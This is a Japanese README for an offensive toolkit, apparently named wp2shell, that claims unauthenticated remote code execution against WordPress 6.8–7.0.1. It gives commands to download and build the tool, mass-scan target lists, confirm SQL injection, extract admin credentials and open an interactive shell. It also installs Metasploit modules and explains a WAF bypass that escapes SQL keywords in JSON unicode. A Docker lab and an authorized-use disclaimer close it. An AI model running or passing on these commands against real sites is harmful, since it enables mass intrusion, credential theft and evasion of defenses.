
WordPress 事前認証 RCE エクスプロイト + スキャナー + WAF バイパス | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit モジュール + Docker ラボ
___ __ ___
_ _____ |__ \ ___/ /_ ___ / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / /
| |/ |/ / __// __//_ / / / / __/ / /
|__/|__/\___//____//__/_/ /_/\___/_/_/
WordPress 事前認証RCE — CVE-2026-63030 + CVE-2026-60137
作者: Venexy (M4xSec)
WordPress 6.8.0–6.8.5、6.9.0–6.9.4、7.0.0–7.0.1 における未認証のリモートコード実行。6.8.6、6.9.5、7.0.2 でパッチ適用済み。
# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell
# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go
parse_request() による管理者の偽造go-scanner/wp2shell-master.go)オールインワンバイナリ — スキャン、チェック、読み取り、エクスプロイト、対話型シェル。
go build -o wp2shell-master go-scanner/wp2shell-master.go
# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20
# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0
# Extract admin creds
./wp2shell-master read https://target.com --preset users
# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth
# Interactive shell
./wp2shell-master rce https://target.com -i -y
waf-bypass/)Cloudflare/ModSecurityをバイパスするスタンドアロンスクリプト(SQLキーワードのJSONユニコードエスケープによる)。
core.py — WAFバイパス付き共有ブラインドSQLiエンジンdump_version.py — @@version を抽出dump_dbname.py — DATABASE() を抽出dump_tables.py — テーブルを列挙dump_columns.py — カラムを列挙rce_shell.py — WAFバイパス付き完全なRCEチェーンmetasploit-modules/)ローカルにインストール:
mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb
Cloudflare WAFは生のJSONバイトを検査しますが、パターンマッチングの前に \uXXXX エスケープシーケンスをデコードしません。WordPressのPHP json_decode() は透過的にデコードします。
SLEEP → SLEEP — キーワード検出をバイパス: を http://: の代わりに使用)— 短く、URIパターンルールを回避/wp-json/batch/v1 パーマリンクパス — ?rest_route= のブロックを回避Origin + Referer ヘッダー — CORS/同一オリジンチェックを満たすcd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!
ModSecurity CRS (OWASP) with Cloudflare-style rules — unicode bypass confirmed.
cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999
このツールは認可されたセキュリティテスト専用です。自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。不正アクセスは違法です。
MIT